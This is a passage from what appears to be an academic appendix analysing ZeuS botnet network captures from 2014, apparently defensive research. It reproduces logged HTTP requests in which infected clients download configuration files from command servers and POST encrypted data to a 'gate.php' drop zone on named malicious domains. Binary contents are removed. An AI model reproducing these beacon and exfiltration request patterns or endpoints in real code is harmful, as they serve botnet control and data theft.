Alternate-Protocol: 80:quic 

Transfer-Encoding: chunked 

 

( html/script content removed ) 
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     A whois query reports that IP address 173.194.70.94 is also part of a block assigned to 

Google, Inc. in Mountain View, California.  Again, this is consistent with the web site 

specified by the Host header.  Interestingly, a search of the Zeus Tracker web site 

produced a positive result for this IP address in its historical results for Zeus command 

and control servers.  Figure n illustrates this result.  This is likely a false positive. 

 

Figure A-3: Positive ZeuS Tracker Results for 173.194.70.94 

 

     For this connection, Argus created one flow for the GET request and its response, and 

a second flow for the single reset packet sent three minutes after the response. 

Table A-57: Flows from Third Connection in File 054 

sport daddr dport dur sbytes dbytes spkts dpkts 

1032 173.194.70.94 80 0.736667 1119 30596 15 25 

1032 173.194.70.94 80 0 60 0 1 0 
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Fourth Connection: Source Port 1036, Destination IP 92.63.98.3 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server and a corresponding response from the remote server.           

The request, a POST method, and its response are nearly identical to those in the previous 

connection over source port 1029.  One notable difference is the value of the Content-

Length header of the request, 400 (bytes) in this request compared with 304 in the 

previous.  The request and response message bodies contained unique content. 

 

POST /hl82ltwxk7/cde.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2) 

Host: 92.63.98.3 

Content-Length: 400 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:31:36 GMT 

Content-Type: text/html 

Transfer-Encoding: chunked 

Connection: close 

X-Powered-By: PHP/5.4.25 

 

( non-readable content removed ) 

 

     For this connection, Argus created a single flow.   
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Table A-58: Flows from Fourth Connection in File 054 

 

sport daddr dport dur sbytes dbytes spkts dpkts 

1036 92.63.98.3 80 0.545857 898 522 5 5 

 

Fifth Connection: Source Port 1037, Destination IP 92.63.98.3 

     The HTTP content over this TCP connection consisted of four requests from the local 

client to the remote server and four corresponding responses from the remote server.  The 

content of these GET method requests and their responses is effectively the same as those 

from the earlier connection over source port 1029.  Only the value of the time in the Date 

header of the responses is different.  Each response time is within one second of being 

exactly four minutes later than its counterpart in the previous connection.    

 

GET /hl82ltwxk7/modules/config.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:32:07 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 36080 

Last-Modified: Wed, 26 Mar 2014 11:39:17 GMT 

ETag: "5332bc65-8cf0" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 
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GET /hl82ltwxk7/modules/mod1.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:32:13 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 9216 

Last-Modified: Tue, 04 Mar 2014 09:33:03 GMT 

ETag: "53159dcf-2400" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 

 

 

GET /hl82ltwxk7/modules/mod2.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:32:13 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 8704 

Last-Modified: Tue, 04 Mar 2014 09:33:01 GMT 
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ETag: "53159dcd-2200" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 

 

 

GET /hl82ltwxk7/modules/mod3.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:32:14 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 8192 

Last-Modified: Tue, 04 Mar 2014 09:33:02 GMT 

ETag: "53159dce-2000" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 

 

     For this connection, Argus created two flows, one for the first GET request and its 

response, and another for the next three GET requests and their responses.  The first flow 

has the same byte and packet counts as its earlier counterpart. The second has 10 fewer 

source bytes, 162 more destination bytes, and three more destination packets. 

Table A-59: Flows from Fifth Connection in File 054 

sport daddr dport dur sbytes dbytes spkts dpkts 

1037 92.63.98.3 80 0.781075 1363 38011 20 31 

1037 92.63.98.3 80 0.913748 1442 28584 16 32 
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Sixth Connection: Source Port 1038, Destination IP 173.194.70.106 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server and a corresponding response from the remote server.  As 

with the previous connection to this server on source port 1031, this GET method request 

did not include a message body.  Unlike the previous connection, this request included a 

Cookie header with corresponding value.   

 

GET /webhp HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

Cookie: 

PREF=ID=55285ca6ac9ee775:FF=0:TM=1395970116:LM=1395970116:S=CoTFyt1zG5X

oSVIk; 

NID=67=RcwnxF43KollBCOM287KAnUCqiko0zDY4itMzoNUEd0oRBFMLpiDUVvYI8a_gmv0

j-ORrHi2X2NuBWObMG-6rs4t53f6M90U_jyTgARunodE-xE-Nf5GbL4ZEQoxLGKR 

 

 

HTTP/1.1 302 Found 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Location: 

http://www.google.de/webhp?gfe_rd=cr&ei=NdE0U7zKO8mT_AbUhICQCw 

Content-Length: 263 

Date: Fri, 28 Mar 2014 01:32:37 GMT 

Server: GFE/2.0 

Alternate-Protocol: 80:quic 

 

( html content removed ) 
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     For this connection, Argus created one flow for the GET request and its response.  The 

sample trace file ends within two seconds of this connection so subsequent reset packet is 

not observed in this case. 

Table A-60: Flows from Sixth Connection in File 054 

sport daddr dport dur sbytes dbytes spkts dpkts 

1038 173.194.70.106 80 0.545044 671 1278 5 4 

 

 

Seventh Connection: Source Port 1039, Destination IP 173.194.70.94 

     The HTTP content over this TCP connection consisted of one request from the local 

client to the remote server.  The sample trace file ended before the response was observed 

in this case.  The GET method request was again for the resource provided in the 

Location header of the previous connection’s response. 

 

GET /webhp?gfe_rd=cr&ei=NdE0U7zKO8mT_AbUhICQCw HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Connection: Keep-Alive 

Cache-Control: no-cache 

Cookie: 

PREF=ID=faf0ff2cee6827d3:FF=0:TM=1395970117:LM=1395970117:S=2KxkWYcMGR0

8IQmT; NID=67=n06nDhFEr7EgebUGqZD0d2WoNYfcv1pAZwVv8JL7Nj5u2v-

gkpLbCyBUhdPc4s2wQHXacBeAdV7XKaOhh7aak2Mv8H-

x8k9Yj5NieWb5slutiNBJAnt1nG6vLtnFuzZL 

Host: www.google.de 

 

 

     For this connection, Argus created one flow for the GET request.  The sample trace 

file ends immediately thereafter. 
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Table A-61: Flows from Seventh Connection in File 054 

sport daddr dport dur sbytes dbytes spkts dpkts 

1039 173.194.70.94 80 0.070219 610 62 3 1 

 

     The behavior observed in the connections of this sample file (054) was very similar to 

that reported by Alserhani, Akhlaq, Awan, and Cullen (2010), Binsalleeh, Ormerod, 

Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), and Riccardi, Di Pietro, 

Palanques, and Vila (2013).  The infected client appeared to request updated 

configuration files with a GET method and “config.bin” resource, as reported by 

Binsalleeh et al. (2010) and Riccardi et al. (2013).  The same method was used to request 

three additional files (mod1.bin, mod2.bin, mod3.bin) which likely contained 

supplemental configuration information.  The client then used a POST method with 

encrypted message body to send information back to the server.  In this case the resource 

was named “cde.php” as opposed to the resource named “gate.php” reported by 

Binsalleeh et al. and Riccardi et al.  The requests for configuration files were repeated at 

four minutes intervals.  The requests to send information were repeated at three minute 

intervals. Even though the responses to the POST requests were chunked and therefore 

did not contain a Content-Length header, they were both 64 bytes in length.   
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Sample File 3f9 collected on 30 Mar 2014 with total time 4 minutes 52 seconds 

     This network trace sample file consisted of seven successful TCP connections, as 

summarized in the following table.  A column is included in the table to indicate whether 

the connection was preceded by a DNS query when the HTTP Host Header field 

specified a domain name as opposed to an IP address.  In this case domain names were 

specified for the suspicious servers. 

Table A-62: Summary of Connections in File 3f9 

Source Port Destination IP HTTP Host Header DNS? 

1030 184.22.237.213 crayolabank.ru Yes 

1031 184.22.237.213 crayolabank.ru n/a 

1032 184.22.237.213 bingbangtheory.ru Yes 

1033 173.194.112.82 www.google.com Yes 

1034 173.194.112.88 www.google.de Yes 

1038 184.22.237.213 bingbangtheory.ru n/a 

1039 184.22.237.213 crayolabank.ru n/a 

 

First Connection: Source Port 1030, Destination IP 184.22.237.213 

     The HTTP content over this TCP connection consisted of six requests from the local 

client to the remote server with corresponding responses from the remote server. Each 

request used the POST method specifying a resource named “file.php” and included a 

message body with no readable text.  The length of the message bodies was 128 bytes for 

each of the first four and 131 bytes for the last two.  The content of the first two message 

bodies was the same, the content of the second two message bodies was also the same but 
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different than that of the first two, and the content of the third two message bodies were 

unique.  The Cache-Control header with No-Cache token was used to prevent caching 

along the request chain.  In each case the server responded with status code 404 Not 

Found.  No message bodies were included in these responses.  No unusual headers were 

used.       

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:12 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 
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( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:12 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=99 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:12 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=98 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 
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Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 128 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:13 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=97 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:13 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=96 
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Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:14 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=95 

Connection: Keep-Alive 

Content-Type: text/html 

 

     A query of ZeuS Tracker produced a match for the IP address and domain name of the 

server observed in this connection.  A query using whois indicated that this IP address 

belongs to a block assigned to an entity without location details.  The domain name was 

registered on 27 February 2014 to a “private person” without further details.  
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Figure A-4: Positive ZeuS Tracker Results for 184.22.237.213 

 

    For this connection, Argus created three flows, one for the HTTP requests and 

responses, and two with the packets to close the connection.  

Table A-63: Flows from First Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1030 184.22.237.213 80 2.585317 2570 1971 10 8 

1030 184.22.237.213 80 0.000000 60 54 1 1 

1030 184.22.237.213 80 0.000000 60 0 1 0 

 
 

Second Connection: Source Port 1031, Destination IP 184.22.237.213 

     The HTTP content over this TCP connection consisted of three requests from the local 

client to the remote server with corresponding responses from the remote server.  The 

first request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request contained a message body with no readable text and a length 
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of 122 bytes.  The response, successful status code 200 OK, also contained a message 

body with no readable text.  The response included a Content-Disposition header 

specifying that the content should be handled as a file named “config.dll” and a Content-

Type header specifying Application/Octet-stream for the content.  The length of the 

response message body was 30368 bytes.  Keep-Alive was specified using the 

Connection header for a persistent connection, suggesting that additional exchanges 

would follow.     

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:05:12 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/config.dll" 

Content-Transfer-Encoding: binary 

Content-Length: 30368 

Keep-Alive: timeout=15, max=100 

Connection: Keep-Alive 

Content-Type: application/octet-stream 

 

( non-readable content removed ) 
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     The next two requests were also POST methods specifying a resource named 

“file.php” and included message bodies with no readable text.  Although the length of 

their message bodies was the same, 131 bytes, their content was different.  Both elicited 

responses with error status code 404 Not Found.  Neither of the responses included a 

message body.   

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:13 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=99 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: crayolabank.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 
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( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:14 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=98 

Connection: Keep-Alive 

Content-Type: text/html 

 

    For this connection, Argus created three flows, one for the HTTP requests and 

responses, and two with the packets to close the connection. 

Table A-64: Flows from Second Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1031 184.22.237.213 80 2.786054 2303 32821 22 29 

1031 184.22.237.213 80 0.000000 60 54 1 1 

1031 184.22.237.213 80 0.000000 60 0 1 0 

 
 

Third Connection: Source Port 1032, Destination IP 184.22.237.213 

     The HTTP content over this TCP connection with a new remote server consisted of 

five requests from the local client to the remote server with corresponding responses from 

the remote server.  The first four requests were again POST methods specifying a 

resource named “file.php” and included message bodies with no readable text.  The 

length of the four message bodies was the same, 131 bytes, but the content changed after 

the first two for the second two.  The second pair followed the first pair by ten seconds.  
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All requests elicited responses with error status code 404 Not Found.  None of the 

responses included a message body.   

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:25 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:25 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=99 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:35 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=98 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

 

POST /net/file.php HTTP/1.1 

Accept: */* 
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 404 Not Found 

Date: Sun, 30 Mar 2014 13:05:36 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 0 

Keep-Alive: timeout=15, max=97 

Connection: Keep-Alive 

Content-Type: text/html 

 

 

     The fifth request was also a POST method but for the “gate.php” resource.  The 

request included a message body with no readable text and a length of 376 bytes. The 

response, successful status code 200 OK, also included a message body with no readable 

text even though the Content-Type header specified Text/Html.  The length of the 

response message body was 64 bytes.   

 

POST /net/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 376 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:05:42 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 64 

Keep-Alive: timeout=15, max=96 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 
     A query of ZeuS Tracker also produced a match for this second domain which had 

been associated with a different IP address.  The match also indicates that this particular 

resource (bingbangtheory.ru/net/gate.php) was a drop zone.  Riccardi, Di Pietro, 

Palanques, and Vila (2013) report that C&C and drop zone are two names for the main 

server that hosts the control panel and receives information from the bots.  The domain 

name was registered on 28 March 2014, also to a “private person” without further details. 
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Figure A-5: Positive ZeuS Tracker Results for bingbangtheory.ru 

 

    For this connection, Argus created seven flows, three for the HTTP requests and 

responses, and four with only packets to close the connection.  

Table A-65: Flows from Third Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1032 184.22.237.213 80 1.094589 968 735 5 4 

1032 184.22.237.213 80 0.769651 846 618 3 2 

1032 184.22.237.213 80 0.696703 698 421 2 2 

1032 184.22.237.213 80 0.000000 60 54 1 1 

1032 184.22.237.213 80 3.605412 120 0 2 0 

1032 184.22.237.213 80 0.000000 60 0 1 0 

1032 184.22.237.213 80 0.000000 60 0 1 0 
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Fourth Connection: Source Port 1033, Destination IP 173.194.112.82 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.           

 

GET /webhp HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

 

 

HTTP/1.1 302 Found 

Location: http://www.google.de/webhp?gfe_rd=ctrl&ei=pRY4U-

zsLOGG8QfXkYCQBA&gws_rd=cr 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=2d16737d3f3c9978:FF=0:TM=1396184742:LM=1396184742:S=mtODtJvDSxK

h2avQ; expires=Tue, 29-Mar-2016 13:05:42 GMT; path=/; 

domain=.google.com 

Set-Cookie: 

NID=67=eCPHhLNc38gVFahYuQWQ4IvnL1CqhQxT4qtNeVCC_VtqGs1pDyz6f7eBLTPINOpo

7JpM-fk7lXn3nZgFiVAZpGbMliRHSMAMBlgztq0zUqUHSFNFkdNF0w9KGbZNhPjF; 

expires=Mon, 29-Sep-2014 13:05:42 GMT; path=/; domain=.google.com; 

HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Date: Sun, 30 Mar 2014 13:05:42 GMT 

Server: gws 

Content-Length: 279 
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X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html content removed ) 

 

     A query of ZeuS Tracker produced no matches for the IP address or domain name of 

the server observed in this connection.  A query using whois indicated that this IP address 

belongs to a block assigned to Google, Inc. 

    For this connection, Argus created one flow.  

Table A-66: Flows from Fourth Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1033 173.194.112.82 80 0.628610 467 1422 5 5 

 
 

Fifth Connection: Source Port 1034, Destination IP 173.194.112.88 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.           

 

GET /webhp?gfe_rd=ctrl&ei=pRY4U-zsLOGG8QfXkYCQBA&gws_rd=cr HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Cache-Control: no-cache 

Host: www.google.de 
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HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:05:42 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=2757e05cb728038a:FF=0:TM=1396184742:LM=1396184742:S=-

zOfTqNQdLRxOCRN; expires=Tue, 29-Mar-2016 13:05:42 GMT; path=/; 

domain=.google.de 

Set-Cookie: 

NID=67=dT7vyHjGTeGTZ2S9kWgVyLI7cuNXTBf1fg_SkR7XUVHkwyONRGuX77PmJjhNxXFA

cMBxscXlZJRoUnpRuaSM28Ekv4FJIHqgygDSu7kfcfhEoe_Yv_vrI7heduecDBix; 

expires=Mon, 29-Sep-2014 13:05:42 GMT; path=/; domain=.google.de; 

HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html/script content removed ) 

 

     A query of ZeuS Tracker produced no matches for the IP address or domain name of 

the server observed in this connection.  A query using whois indicated that this IP address 

belongs to a block assigned to Google, Inc. 

    For this connection, Argus created one flow.  

Table A-67: Flows from Fifth Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1034 173.194.112.88 80 0.618048 1294 30496 18 25 
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Sixth Connection: Source Port 1038, Destination IP 184.22.237.213 

     The HTTP content over this TCP connection consisted of five requests from the local 

client to the remote server with corresponding responses from the remote server.  Each of 

the requests used the POST method specifying the “gate.php” resource and contained a 

message body with no readable text.  Four of the five message bodies were of different 

lengths, and all had unique content.  All of the responses reported successful status code 

200 OK and included message bodies with no readable text.  All of the response message 

bodies were 64 bytes in length, but with unique content.      

 

POST /net/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 525 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:08:42 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 64 

Keep-Alive: timeout=15, max=100 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 
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POST /net/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 1213 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:08:42 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 64 

Keep-Alive: timeout=15, max=99 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /net/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 538 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:08:42 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 64 

Keep-Alive: timeout=15, max=98 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

 

POST /net/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 538 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:08:43 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 64 

Keep-Alive: timeout=15, max=97 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 
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POST /net/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: bingbangtheory.ru 

Content-Length: 4164 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Sun, 30 Mar 2014 13:08:43 GMT 

Server: Apache/2.2.16 (Debian) 

X-Powered-By: PHP/5.4.26-1~dotdeb.0 

Vary: Accept-Encoding 

Content-Length: 64 

Keep-Alive: timeout=15, max=96 

Connection: Keep-Alive 

Content-Type: text/html 

 

( non-readable content removed ) 

 

    For this connection, Argus created three flows, one for the HTTP requests and 

responses and two with only packets to close the connection.  

Table A-68: Flows from Sixth Connection in File 3f9 

sport daddr dport dur sbytes dbytes spkts dpkts 

1038 184.22.237.213 80 2.112349 8742 2114 13 10 

1038 184.22.237.213 80 0.000000 60 54 1 1 

1038 184.22.237.213 80 0.000000 60 0 1 0 
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Seventh Connection: Source Port 1039, Destination IP 184.22.237.213 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request to POST the “file.php” resource included a message body with no readable 

text and a length of 122 bytes.  The response, successful status code 200 OK, also 

included a message body with no readable text.  The response included a Content-

Disposition header with tokens indicating that the content should be handled as a file 

named “config.dll” and a Content-Type header specifying Application/Octet-stream for 

